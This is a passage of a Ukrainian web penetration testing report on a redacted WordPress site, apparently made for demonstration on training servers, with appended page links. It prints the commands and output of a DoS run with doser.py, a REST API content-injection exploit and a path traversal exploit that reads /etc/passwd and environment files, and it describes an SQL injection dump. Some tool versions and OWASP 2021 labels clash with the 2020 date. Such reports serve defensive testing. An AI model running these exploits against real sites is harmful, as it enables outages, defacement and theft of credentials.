SECURITY@KR-LABS.COM.UA
25
ОПИС ТА ВПЛИВ АТАКИ
З допомогою утиліт командного рядка Linux (XSStrike, FFUFF, Photon) сайт [domain] було проскановано
на приховані, службові, технічні та динамічні URL-адреси. Виявлено файл з розширенням .php,
вразливий до SQL-ін'єкції. З ним була проведена окрема робота - здійснено перебір динамічних
параметрів і значень. В результаті, виявлено вразливий параметр URL - 'parent'.
Для експлуатації вразливості обрано окремий інструмент - SQLmap. Завдяки йому, вдалося визначити
тип і версію бази даних MySQL та підібрати вдалу комбінацію UNION-запитів для проведення SQL-
ін'єкції. Вдалося спарсити всі таблиці бази даних сайту [domain] та зробити дамп. В таблиці з
обліковими записами користувачів були знайдені логіни та паролі входу на сайт. Паролі були
зашифровані в MD5, проте з допомогою утиліти HashCat вдалося їх успішно дехешувати.
Таким чином, був отриманий доступ до панелі адміністрування сайтом, по-суті проведений злам через
SQL-ін'єкцію. Це створює величезні ризики, адже зловмисники можуть переглядати та модифікувати
інформацію на сайті через базу даних. Також зроблені дампи бази даних можуть продавати на
тіньових форумах в даркнеті.
РЕКОМЕНДАЦІЇ
Налаштувати валідацію, фільтрацію, санітизацію всіх запитів по HTTP-протоколу. Перевіряти
надіслані/введені дані користувачами на наявність шкідливого коду та навантажень. Встановити
заборону на використання деяких слів та символів, які можуть спричинити помилки бази даних
або SQL-ін'єкцію (наприклад, ' " $ ).
Додати необхідні HTTP-заголовки безпеки на сайт.
Встановити файєрвол на боці сервера і на самому сайті. Можна скористатися CDN Cloudflare.
Провести комплексну перевірку і конфігурацію безпеки MySQL.
07/04/2020
SECURITY@KR-LABS.COM.UA
НАЗВА АТАКИ WORDPRESS DOS ATTACK
РІВЕНЬ ЗАГРОЗИ HIGH CVSS SCORE: 7.5 CVE-2018-6389
ТЕХНІЧНІ ДЕТАЛІ ЕКСПЛУАТАЦІЇ
$ python3 doser.py -g 'http://[domain]/wp-admin/load-scripts.php?c=1&load%5B%5D=eutil,common,wp-
a11y,sack,quicktag,colorpicker,editor,wp-fullscreen-stu,wp-ajax-response,wp-api-request,wp-
pointer,autosave,heartbeat,wp-auth-check,wp-lists,prototype,scriptaculous-root,scriptaculous-
builder,scriptaculous-dragdrop,scriptaculous-effects,scriptaculous-slider,scriptaculous-
sound,scriptaculous-controls,scriptaculous,cropper,jquery,jquery-core,jquery-migrate,jquery-ui-
core,jquery-effects-core,jquery-effects-blind,jquery-effects-bounce,jquery-effects-clip,jquery-effects-
drop,jquery-effects-explode,jquery-effects-fade,jquery-effects-fold,jquery-effects-highlight,jquery-
effects-puff,jquery-effects-pulsate,jquery-effects-scale,jquery-effects-shake,jquery-effects-
size,jquery-effects-slide,jquery-effects-transfer,jquery-ui-accordion,jquery-ui-autocomplete,jquery-ui-
button,jquery-ui-datepicker,jquery-ui-dialog,jquery-ui-draggable,jquery-ui-droppable,jquery-ui-
menu,jquery-ui-mouse,jquery-ui-position,jquery-ui-progressbar,jquery-ui-resizable,jquery-ui-
selectable,jquery-ui-selectmenu,jquery-ui-slider,jquery-ui-sortable,jquery-ui-spinner,jquery-ui-
tabs,jquery-ui-tooltip,jquery-ui-widget,jquery-form,jquery-color,schedule,jquery-query,jquery-
serialize-object,jquery-hotkeys,jquery-table-hotkeys,jquery-touch-
punch,suggest,imagesloaded,masonry,jquery-masonry,thickbox,jcrop,swfobject,moxiejs,plupload,plupload-
handlers,wp-plupload,swfupload,swfupload-all,swfupload-handlers,comment-
repl,json2,underscore,backbone,wp-util,wp-sanitize,wp-
backbone,revisions,imgareaselect,mediaelement,mediaelement-core,mediaelement-migrat,mediaelement-
vimeo,wp-mediaelement,wp-codemirror,csslint,jshint,esprima,jsonlint,htmlhint,htmlhint-kses,code-
editor,wp-theme-plugin-editor,wp-playlist,zxcvbn-async,password-strength-meter,user-profile,language-
chooser,user-suggest,admin-ba,wplink,wpdialogs,word-coun,media-upload,hoverIntent,customize-
base,customize-loader,customize-preview,customize-models,customize-views,customize-controls,customize-
selective-refresh,customize-widgets,customize-preview-widgets,customize-nav-menus,customize-preview-
nav-menus,wp-custom-header,accordion,shortcode,media-models,wp-embe,media-views,media-editor,media-
audiovideo,mce-view,wp-api,admin-tags,admin-comments,xfn,postbox,tags-box,tags-suggest,post,editor-
expand,link,comment,admin-gallery,admin-widgets,media-widgets,media-audio-widget,media-image-
widget,media-gallery-widget,media-video-widget,text-widgets,custom-html-widgets,theme,inline-edit-
post,inline-edit-tax,plugin-install,updates,farbtastic,iris,wp-color-picker,dashboard,list-
revision,media-grid,media,image-edit,set-post-thumbnail,nav-menu,custom-header,custom-background,media-
gallery,svg-painter&ver=4.9' -t 9999
2733 requests has been sent
Status code 500 received after 2907 requests
Скріншот 5. Сторінка сайту з кодом відповіді сервера 500 - з'єднання недоступне, внаслідок DOS-атаки.
26
07/04/2020
SECURITY@KR-LABS.COM.UA
27
ОПИС ТА ВПЛИВ АТАКИ
В ході сканування CMS WordPress визначено, що сайт [domain] давно не оновлювався й використовує
застаріле ядро з офіційно зареєстрованими вразливостями, зокрема CVE-2018-6389.
Вразливість полягає у тому, що зловмисник зі свого сервера відправляє з високою пропускною
здатністю необмежену кількість GET-запитів по HTTP-протоколу на сайт жертви, атакуючи файл load-
scripts.php - це вбудований скрипт WordPress, який викликає деякі модулі JavaScript з папки /wp-
includes/script-loader.php при завантаженні сайту. Однак, доступ до нього відкритий, що власне і
дозволяє зловмисникам зловживати цією функцією. Завдяки додатковим URL-параметрам і значенням
можна здійснювати виклик усіх модулів JS одночасно і цим спричиняти високе навантаження на
сервер: http://[domain]/wp-admin/load-scripts.php?c=1&load%5B%5D=eutil,common,wp-a11y,sack,.... Якщо
сервер не надто потужний, то він швидко вийде з ладу, віддаючи помилку 500. Отже, цілісність і
доступність сайтом під високим ризиком. Рекомендується належним чином прореагувати.
В інтернеті розіщено готовий експлойт для ексалуатації цієї вразливості - doser.py
(https://github.com/quitten/doser.py). Його автор - дослідник безпеки Barak Tawily, який вперше
зафіксував цю вразливість (Детальніше: https://baraktawily.blogspot.com/2018/02/how-to-dos-29-of-
world wide websites html)
РЕКОМЕНДАЦІЇ
Оновити CMS WordPress до останньої актуальної версії.
Блокувати неавторизований доступ до файлів WordPress - load-scripts.php та load-styles.php
Встановити плагін WAF для WordPress, наприклад Wordfence.
Фільтрувати запити по протоколу HTTP.
Налаштувати фільтрацію шкідливих IP-адрес.
07/04/2020
SECURITY@KR-LABS.COM.UA
НАЗВА АТАКИ PHP INFORMATION DISCLOSURE / OUTDATED VERSION
РІВЕНЬ ЗАГРОЗИ MEDIUM CVSS SCORE: 5.8
CWE-200, A1:2021,
A6:2021
ТЕХНІЧНІ ДЕТАЛІ ЕКСПЛУАТАЦІЇ
$ nuclei -u http://[domain]
__ _
____ __ _______/ /__ (_)
/ __ / / / / ___/ / _ / /
/ / / / /_/ / /__/ / __/ /
/_/ /_/__,_/___/_/___/_/ v2.9.1
projectdiscovery.io
...
[phpinfo-files] [http] [low] http://[domain]/php.php [5.6]
...
Скріншот 6. Сторінка з фунцією phpinfo у відкритому доступі
28
07/04/2020
SECURITY@KR-LABS.COM.UA
29
ОПИС ТА ВПЛИВ АТАКИ
Точна версія і налаштування PHP.
Операційна система сервера і її версія.
Список зареєстрованих модулів і компонентів PHP.
Параметри компіляції PHP.
Змінні середовища і шляхи до розташування серверних файлів та папок.
Внутрішні IP-адреси і топологія мережі.
HTTP-заголовки.
API-технології.
... та багато іншого.
Мережевий веб-сканер Nuclei виявив на сайті [domain] публічно доступний службовий файл php.php,
який містить функцію phpinfo() для виведення повної інформації про технічну конфігурацію сервера. В
результаті цієї вразливості вдалося дізнатися інформацію:
Подібна інформація є конфіденційною і повинна надаватися лише адміністраторам ресурсу. Для
зловмисника функція phpinfo() має життєво важливе значення, адже використовуючи її він може
отримати вичерпні відомості про систему - дізнатися яке програмне забезпечення використовується
на сервері, чи вразливе воно, отримати топологію мережі, проаналізувати файлову систему, підібрати
експлойти та спланувати атаки іншого рівня, наприклад: LFI/RFI/RCE/SQLi/XSS. Детальніше про цю
вразливість: https://vk9-sec.com/phpinfo-information-disclosure/.
Варто додати, що сервер застосовує застарілу версію PHP 5.6 з офіційно зареєстрованими
вразливостями. Це може привести до ще більших наслідків і проблем безпеки. Детальніше:
https://prototype.php.net/versions/5.6.30/.
РЕКОМЕНДАЦІЇ
Видалити файл php.php або обмежити доступ до нього.
Оновити PHP до останньої актуальної версії.
07/04/2020
SECURITY@KR-LABS.COM.UA
НАЗВА АТАКИ WORDPRESS REST API CONTENT INJECTION ATTACK
РІВЕНЬ ЗАГРОЗИ HIGH CVSS SCORE: 7.5
CVE-2017-
1001000, CVE-
2017-5612
ТЕХНІЧНІ ДЕТАЛІ ЕКСПЛУАТАЦІЇ
$ python2 CVE-2017-1001000.py
[X] WORDPRESS 4.7.0/4.7.1 CONTENT INJECTION EXPLOIT [X]
[x] Enter the URL: http://[domain]/
[?] Please wait ...
[x] Wordpress Version: 4.7.1
[x] It's affected version. It seems vulnerable, continue? [y/n] y
[x] Parsing data information, please wait ...
[x] Post ID: 23
[x] Post Title: Lorem Ipsum Post 1
[x] Post URL: http://[domain]/index.php/2020/04/07/duis-sagittis-ipsum/
[x] Post Content: <p>Lorem ipsum dolor sit amet, consectetur adipiscing elit. Integer nec odio.
Praesent libero. Sed c [SNIPPET]
[x] Post ID: 21
[x] Post Title: Lorem Ipsum Post 2
[x] Post URL: http://[domain]/index.php/2020/04/07/morbi-lacinia-molestie-dui/
[x] Post Content: <p>Lorem ipsum dolor sit amet, consectetur adipiscing elit. Integer nec odio.
Praesent libero. Sed c [SNIPPET]
[x] Post ID: 19
[x] Post Title: Lorem Ipsum Post 3
[x] Post URL: http://[domain]/index.php/2020/04/07/class-aptent-taciti-sociosqu-ad-litora/
[x] Post Content: <p>Lorem ipsum dolor sit amet, consectetur adipiscing elit. Integer nec odio.
Praesent libero. Sed c [SNIPPET]
[x] Post ID: 15
[x] Post Title: Lorem Ipsum Post 4
[x] Post URL: http://[domain]/index.php/2020/04/07/fusce-ac-turpis-quis-ligula-lacinia/
[x] Post Content: <p>Lorem ipsum dolor sit amet, consectetur adipiscing elit. Integer nec odio.
Praesent libero. Sed c [SNIPPET]
[x] Post ID: 13
[x] Post Title: Lorem Ipsum Post 5
[x] Post URL: http://[domain]/index.php/2020/04/07/suspendisse-in-justo-eu-magna-luctus-suscipit/
[x] Post Content: <p>Lorem ipsum dolor sit amet, consectetur adipiscing elit. Integer nec odio.
Praesent libero. Sed c [SNIPPET]
[x] Enter ID Content that you want to overwrite:
[x] Enter ID Content that you want to overwrite: 23
[x] Change title: Penentration Testing Demonstration
=> 1. Load data from file.
=> 2. Input data.
[x] Change content by [1/2] ? 2
[?] Input data: Content Injection Demo Text
[x] Exploit in progress ...
[x] Update success!
30
07/04/2020
SECURITY@KR-LABS.COM.UA
Скріншот 7. Сторінка сайту WordPress з публікацією до початку експлуатації.
Скріншот 8. Сторінка сайту з публікацією після експлуатації. Було замінено існуючий контент на новий
без автентифікації.
31
07/04/2020
SECURITY@KR-LABS.COM.UA
32
ОПИС ТА ВПЛИВ АТАКИ
В ході пентесту виявлено, що на сайті [domain] використовується застаріла версія CMS WordPress 4.7.1,
яка має численні вразливості, зокрема дозволяє будь-якому користувачеві Інтернет модифікувати
вміст публікацій. В базі даних Exploit-DB вдалося підшукати експлойт та проексплуатувати його.
Ця серйозна вразливість стала можливою через недостатній контроль доступу до REST API
(Representational State Transfer Application Programming Interface) - технологія віддаленого
адміністрування, яка вперше з'явилася в WordPress v.4.7. Вона дозволяє користувачам і компонентам
WordPress дистанційно наповнювати і редагувати вміст сайту (Детальніше:
https://secure.wphackedhelp.com/blog/wordpress-rest-api-vulnerability-content-injection/). Вразливість існує
у версіях WordPress 4.7.0-4.7.1. У 2017 році від неї постраждали близько 2 млн. сайтів (Рекомендуємо
ознайомитися з детальним звітом компанії WordFence Security:
https://www.wordfence.com/blog/2017/02/rest-api-exploit-feeding-frenzy-deface-wordpress-sites/).
Вразливість було виправлено у версії WordPress 4.7.2.
Зловмисники можуть провести так-званий дефейс (deface) сайту - несанкціоновано змінити або
знищити контент на сайті. Окрім того, ця вразливість розкриває ряд інших проблем, наприклад через
неї можна отримати імена всіх облікових звписів (Username Enumeration Attack), підібрати паролі до
них (Brutforce Password Attack), вбудувати шкідливий код на сайт (SQL/PHP/XSS Injection),
запроваджувати Black-Hat SEO (фішинг, дорвеїнг, спамдексінг) та багато іншого. Цю вразливість
докладно вивчили та описали спеціалісти компанії Sucuri: https://blog.sucuri.net/2017/02/content-
injection-vulnerability-wordpress-rest-api.html
РЕКОМЕНДАЦІЇ
Оновити CMS WordPress до останньої актуальної версії.
Налаштувати суворе обмеження доступу по REST API для всіх неавторизованих відвідувачів і HTTP-
клієнтів. Зокрема обмежити доступ до URL-адрес: http://[domain]/wp-json/wp/v2/users,
http://[domain]/wp-json/wp/v2/posts, http://[domain]/wp-json/wp/v2/tags, http://[domain]/wp-
json/wp/v2/categories, http://[domain]/wp-json/wp/v2/comments тощо. Це можна зробити вручну або
встановивши плагін Disable REST API.
Встановити плагін безпеки для WordPress - файєрвол WordFence Security.
Підключити до сайту CDN CloudFlare, який буде додатково фільтрувати вхідні запити.
07/04/2020
SECURITY@KR-LABS.COM.UA
НАЗВА АТАКИ
WORDPRESS UNAUTHENTICATED PATH TRAVERSAL
ATTACK
РІВЕНЬ ЗАГРОЗИ HIGH CVSS SCORE: 7.5 CVE-2020-11738
ТЕХНІЧНІ ДЕТАЛІ ЕКСПЛУАТАЦІЇ
$ python CVE-2020-11738.py http://[domain] /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:100:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
systemd-timesync:x:102:104:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:103:106::/nonexistent:/usr/sbin/nologin
syslog:x:104:110::/home/syslog:/usr/sbin/nologin
_apt:x:105:65534::/nonexistent:/usr/sbin/nologin
tss:x:106:111:TPM software stack,,,:/var/lib/tpm:/bin/false
uuidd:x:107:112::/run/uuidd:/usr/sbin/nologin
tcpdump:x:108:113::/nonexistent:/usr/sbin/nologin
sshd:x:109:65534::/run/sshd:/usr/sbin/nologin
landscape:x:110:115::/var/lib/landscape:/usr/sbin/nologin
pollinate:x:111:1::/var/cache/pollinate:/bin/false
fwupd-refresh:x:112:116:fwupd-refresh user,,,:/run/systemd:/usr/sbin/nologin
_rpc:x:113:65534::/run/rpcbind:/usr/sbin/nologin
statd:x:114:65534::/var/lib/nfs:/usr/sbin/nologin
snapd-range-524288-root:x:524288:524288::/nonexistent:/usr/bin/false
snap_daemon:x:584788:584788::/nonexistent:/usr/bin/false
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
opc:x:1000:1000::/home/opc:/bin/sh
ubuntu:x:1001:1001:Ubuntu:/home/ubuntu:/bin/bash
lxd:x:998:100::/var/snap/lxd/common/lxd:/bin/false
lsadm:x:997:998:lsadm:/:/sbin/nologin
mysql:x:115:120:MySQL Server,,,:/nonexistent:/bin/false
$ python CVE-2020-11738.py http://[domain] /proc/version
Linux version 5.15.0-1032-oracle (buildd@lcy02-amd64-073) (gcc (Ubuntu 9.4.0-1ubuntu1~20.04.1) 9.4.0,
GNU ld (GNU Binutils for Ubuntu) 2.34) #38~20.04.1-Ubuntu SMP Thu Mar 23 20:47:49 UTC 2020
$ python CVE-2020-11738.py http://[domain] /proc/self/environ
n/adminajax.phpve_some_room_to_avoid_overwrite_important_envPHP_LSAPI_CHILDREN=10LSAPI_AVOID_FORK=200MP
ATH=/bin:/usr/binLSAPI_PPID_NO_CHECK=1LSAPI_PGRP_MAX_IDLE=60LSAPI_KEEP_LISTEN=2
33
07/04/2020
SECURITY@KR-LABS.COM.UA
$ python CVE-2020-11738.py http://[domain] /etc/crontab
# /etc/crontab: system-wide crontab
# Unlike any other crontab you don't have to run the `crontab'
# command to install the new version when you edit this file
# and files in /etc/cron.d. These files also have username fields,
# that none of the other crontabs do.
SHELL=/bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin
# Example of job definition:
# .---------------- minute (0 - 59)
# | .------------- hour (0 - 23)
# | | .---------- day of month (1 - 31)
# | | | .------- month (1 - 12) OR jan,feb,mar,apr ...
# | | | | .---- day of week (0 - 6) (Sunday=0 or 7) OR sun,mon,tue,wed,thu,fri,sat
# | | | | |
# * * * * * user-name command to be executed
17 * * * * root cd / && run-parts --report /etc/cron.hourly
25 6 * * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )
47 6 * * 7 root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly )
52 6 1 * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )
$ python CVE-2020-11738.py http://[domain] /proc/cpuinfo
processor : 1
vendor_id : AuthenticAMD
cpu family : 23
model : 49
model name : AMD EPYC 7742 64-Core Processor
stepping : 0
microcode : 0x1000065
cpu MHz : 2245.780
cache size : 512 KB
physical id : 0
siblings : 2
core id : 0
cpu cores : 1
apicid : 1
initial apicid : 1
fpu : yes
fpu_exception : yes
cpuid level : 16
wp : yes
flags : fpu vme de pse tsc msr pae mce cx8 apic sep mtrr pge mca cmov pat pse36 clflush mmx fxsr sse
sse2 ht syscall nx mmxext fxsr_opt pdpe1gb rdtscp lm rep_good nopl cpuid extd_apicid tsc_known_freq pni
pclmulqdq ssse3 fma cx16 sse4_1 sse4_2 x2apic movbe popcnt tsc_deadline_timer aes xsave avx f16c rdrand
hypervisor lahf_lm cmp_legacy svm cr8_legacy abm sse4a misalignsse 3dnowprefetch osvw topoext
perfctr_core ssbd ibrs ibpb stibp vmmcall fsgsbase tsc_adjust bmi1 avx2 smep bmi2 rdseed adx smap
clflushopt clwb sha_ni xsaveopt xsavec xgetbv1 xsaves clzero xsaveerptr wbnoinvd arat npt nrip_save
umip rdpid arch_capabilities
bugs : sysret_ss_attrs null_seg spectre_v1 spectre_v2 spec_store_bypass retbleed
bogomips : 4491.56
TLB size : 1024 4K pages
clflush size : 64
cache_alignment : 64
address sizes : 40 bits physical, 48 bits virtual
power management:
34
07/04/2020
SECURITY@KR-LABS.COM.UA
Скріншот 9. HTTP-запит в браузері до вразливої URL-адреси сайту WordPress. Після вдалої обробки GET-
запиту, відбулося автоматичне завантаження системного файлу wp-config.php на локальний комп'ютер.
Скріншот 10. Файл wp-config.php з доступом до бази даних сайту, завантажений після успішної атаки Path
Directory Traversal.
35
07/04/2020
SECURITY@KR-LABS.COM.UA
Web Penetration Testing Report
Web Penetration Testing Report
Web Penetration Testing Report
Web Penetration Testing Report
Web Penetration Testing Report
Web Penetration Testing Report
Web Penetration Testing Report
Web Penetration Testing Report
Web Penetration Testing Report
Web Penetration Testing Report
Web Penetration Testing Report
Web Penetration Testing Report
Web Penetration Testing Report

Contenu connexe

Similaire à Web Penetration Testing Report

Безпека інтернет-ресурсів: АНАЛІЗ РОЗПОВСЮДЖЕНОСТІ ЗАГРОЗ ТА ТЕХНОЛОГІЇ ЗАХИСТУ
Безпека інтернет-ресурсів: АНАЛІЗ РОЗПОВСЮДЖЕНОСТІ  ЗАГРОЗ ТА ТЕХНОЛОГІЇ ЗАХИСТУБезпека інтернет-ресурсів: АНАЛІЗ РОЗПОВСЮДЖЕНОСТІ  ЗАГРОЗ ТА ТЕХНОЛОГІЇ ЗАХИСТУ
Безпека інтернет-ресурсів: АНАЛІЗ РОЗПОВСЮДЖЕНОСТІ ЗАГРОЗ ТА ТЕХНОЛОГІЇ ЗАХИСТУSSCoding Group
 
Стандарт верифікації безпеки веб-додатків ASVS 3.0
Стандарт верифікації безпеки веб-додатків ASVS 3.0Стандарт верифікації безпеки веб-додатків ASVS 3.0
Стандарт верифікації безпеки веб-додатків ASVS 3.0uisgslide
 
NSP та MWG - захист мережевого трафіку
NSP та MWG - захист мережевого трафікуNSP та MWG - захист мережевого трафіку
NSP та MWG - захист мережевого трафікуVladyslav Radetsky
 
Безпека в інтернеті
Безпека в інтернетіБезпека в інтернеті
Безпека в інтернетіLida9
 
антивірус Nod32(головаш євгенія)
антивірус Nod32(головаш євгенія)антивірус Nod32(головаш євгенія)
антивірус Nod32(головаш євгенія)zheniagolovash
 
антивірус Nod32(головаш євгенія)
антивірус Nod32(головаш євгенія)антивірус Nod32(головаш євгенія)
антивірус Nod32(головаш євгенія)zheniagolovash
 
Top mistakes that allows to make a successful pentest
Top mistakes that allows to make a successful pentestTop mistakes that allows to make a successful pentest
Top mistakes that allows to make a successful pentestGlib Pakharenko
 
Изучение интерфейсов операционных систем с помощью Embedded System
Изучение интерфейсов операционных систем с помощью Embedded SystemИзучение интерфейсов операционных систем с помощью Embedded System
Изучение интерфейсов операционных систем с помощью Embedded Systemitconnect2016
 
глобальна мережа12
глобальна мережа12глобальна мережа12
глобальна мережа12Olga
 
Робота із malware. McAfee ATD+TIE+DXL/OpenDXL
Робота із malware. McAfee ATD+TIE+DXL/OpenDXLРобота із malware. McAfee ATD+TIE+DXL/OpenDXL
Робота із malware. McAfee ATD+TIE+DXL/OpenDXLVladyslav Radetsky
 
комп мережі 9 клас
комп мережі 9 клас комп мережі 9 клас
комп мережі 9 клас NataKvasha
 
"Vulnerabilities Analysis: Corporate DevSec Practices", Sergii Kulyk
"Vulnerabilities Analysis: Corporate DevSec Practices", Sergii Kulyk "Vulnerabilities Analysis: Corporate DevSec Practices", Sergii Kulyk
"Vulnerabilities Analysis: Corporate DevSec Practices", Sergii Kulyk Fwdays
 
комп'ютерні віруси та антивірусні програми
комп'ютерні віруси та антивірусні програмикомп'ютерні віруси та антивірусні програми
комп'ютерні віруси та антивірусні програмиNagornuj1
 
Смирнова Катерина, Dr.Web
Смирнова Катерина, Dr.WebСмирнова Катерина, Dr.Web
Смирнова Катерина, Dr.Webkatiee_sm
 
Кіберзахист в умовах війни
Кіберзахист в умовах війниКіберзахист в умовах війни
Кіберзахист в умовах війниVladyslav Radetsky
 
Lesson # 4. threats while avoiding the internet and avoiding them
Lesson # 4. threats while avoiding the internet and avoiding themLesson # 4. threats while avoiding the internet and avoiding them
Lesson # 4. threats while avoiding the internet and avoiding themNikolay Shaygorodskiy
 
IR System
IR SystemIR System
IR Systemsnipter
 

Similaire à Web Penetration Testing Report (20)

вашенюк
вашенюквашенюк
вашенюк
 
Безпека інтернет-ресурсів: АНАЛІЗ РОЗПОВСЮДЖЕНОСТІ ЗАГРОЗ ТА ТЕХНОЛОГІЇ ЗАХИСТУ
Безпека інтернет-ресурсів: АНАЛІЗ РОЗПОВСЮДЖЕНОСТІ  ЗАГРОЗ ТА ТЕХНОЛОГІЇ ЗАХИСТУБезпека інтернет-ресурсів: АНАЛІЗ РОЗПОВСЮДЖЕНОСТІ  ЗАГРОЗ ТА ТЕХНОЛОГІЇ ЗАХИСТУ
Безпека інтернет-ресурсів: АНАЛІЗ РОЗПОВСЮДЖЕНОСТІ ЗАГРОЗ ТА ТЕХНОЛОГІЇ ЗАХИСТУ
 
Стандарт верифікації безпеки веб-додатків ASVS 3.0
Стандарт верифікації безпеки веб-додатків ASVS 3.0Стандарт верифікації безпеки веб-додатків ASVS 3.0
Стандарт верифікації безпеки веб-додатків ASVS 3.0
 
NSP та MWG - захист мережевого трафіку
NSP та MWG - захист мережевого трафікуNSP та MWG - захист мережевого трафіку
NSP та MWG - захист мережевого трафіку
 
Безпека в інтернеті
Безпека в інтернетіБезпека в інтернеті
Безпека в інтернеті
 
антивірус Nod32(головаш євгенія)
антивірус Nod32(головаш євгенія)антивірус Nod32(головаш євгенія)
антивірус Nod32(головаш євгенія)
 
антивірус Nod32(головаш євгенія)
антивірус Nod32(головаш євгенія)антивірус Nod32(головаш євгенія)
антивірус Nod32(головаш євгенія)
 
Top mistakes that allows to make a successful pentest
Top mistakes that allows to make a successful pentestTop mistakes that allows to make a successful pentest
Top mistakes that allows to make a successful pentest
 
Изучение интерфейсов операционных систем с помощью Embedded System
Изучение интерфейсов операционных систем с помощью Embedded SystemИзучение интерфейсов операционных систем с помощью Embedded System
Изучение интерфейсов операционных систем с помощью Embedded System
 
глобальна мережа12
глобальна мережа12глобальна мережа12
глобальна мережа12
 
Presentation
PresentationPresentation
Presentation
 
6
66
6
 
Робота із malware. McAfee ATD+TIE+DXL/OpenDXL
Робота із malware. McAfee ATD+TIE+DXL/OpenDXLРобота із malware. McAfee ATD+TIE+DXL/OpenDXL
Робота із malware. McAfee ATD+TIE+DXL/OpenDXL
 
комп мережі 9 клас
комп мережі 9 клас комп мережі 9 клас
комп мережі 9 клас
 
"Vulnerabilities Analysis: Corporate DevSec Practices", Sergii Kulyk
"Vulnerabilities Analysis: Corporate DevSec Practices", Sergii Kulyk "Vulnerabilities Analysis: Corporate DevSec Practices", Sergii Kulyk
"Vulnerabilities Analysis: Corporate DevSec Practices", Sergii Kulyk
 
комп'ютерні віруси та антивірусні програми
комп'ютерні віруси та антивірусні програмикомп'ютерні віруси та антивірусні програми
комп'ютерні віруси та антивірусні програми
 
Смирнова Катерина, Dr.Web
Смирнова Катерина, Dr.WebСмирнова Катерина, Dr.Web
Смирнова Катерина, Dr.Web
 
Кіберзахист в умовах війни
Кіберзахист в умовах війниКіберзахист в умовах війни
Кіберзахист в умовах війни
 
Lesson # 4. threats while avoiding the internet and avoiding them
Lesson # 4. threats while avoiding the internet and avoiding themLesson # 4. threats while avoiding the internet and avoiding them
Lesson # 4. threats while avoiding the internet and avoiding them
 
IR System
IR SystemIR System
IR System
 

Web Penetration Testing Report

  • 1. 07.04.2020 Дата виконання: ТЕСТУВАННЯ НА ПРОНИКНЕННЯ ДОМЕН: [DOMAIN] КОНФІДЕНЦІЙНО Konrad Ravenstone Автор звіту: Версія: 2.0
  • 2. 1. ПОЛОЖЕННЯ ПРО КОНФІДЕНЦІЙНІСТЬ 01 2. ОСНОВНІ ПОНЯТТЯ І ТЕРМІНИ 02 3. КОРОТКЕ РЕЗЮМЕ 05 4. МЕТОДОЛОГІЯ 06 5. КЛАСИФІКАЦІЯ ВРАЗЛИВОСТЕЙ 09 6. ТЕСТУВАННЯ ЗАХИЩЕНОСТІ [DOMAIN] 10 6.1 DNS ZONE TRANSFER ATTACK 10 6.2 FTP ANONYMOUS LOGIN ATTACK 12 6.3 SMTP OPEN MAIL RELAY ATTACK 14 6.4 BRUTEFORCE ATTACK ON WP-LOGIN 16 6.5 WORDPRESS DIRECTORY TRAVERSAL ATTACK 18 6.6 SQL INJECTION ATTACK 20 6.7 WORDPRESS DOS ATTACK 26 6.8 PHP INFORMATION DISCLOSURE / OUTDATED VERSION 28 6.9 WORDPRESS REST API CONTENT INJECTION ATTACK 30 7.0 WORDPRESS UNAUTHENTICATED PATH TRAVERSAL ATTACK 33 7.1 BRUTEFORCE SSH ATTACK 37 7.2 TLS/SSL WEAK ENCRYPTION 39 7.3 UAUTHENTICATED STORED XSS ATTACK 44 ЗМІСТ
  • 3. Даний документ являє собою електронний звіт з тестування на проникнення, створений на замовлення [COMPANY], є інтелектуальною власністю KR. LABORATORIES (kr-labs.com.ua). Документ містить службову і технічну конфіденційну інформацію, що надається виключно правовласнику досліджуваного електронного ресурсу [domain]. У цьому звіті представлені результати тестування на проникнення веб-додатку [domain]. Аналіз, викладений у цьому документі, ґрунтується на технологіях та відомих вразливостях на дату створенння цього звіту. Жодна інша сторона або особа не має права вільно розповсюджувати цей документ без офіційної згоди KR. LABORATORIES. Забороняється будь-яке самовільне використання матеріалів цього документу - копіювання, дублювання, відтворення, оновлення. Будь-які запити та запитання стосовно цього документу надсилати на офіційну електронну поштову скриньку: security@kr-labs.com.ua УВАГА: даний звіт підготовлений в ознайомлювальних, демонстраційних цілях. Усі атаки проводилися на навчальних серверах та доменах. Положення про конфіденційність 1 SECURITY@KR-LABS.COM.UA 07/04/2020
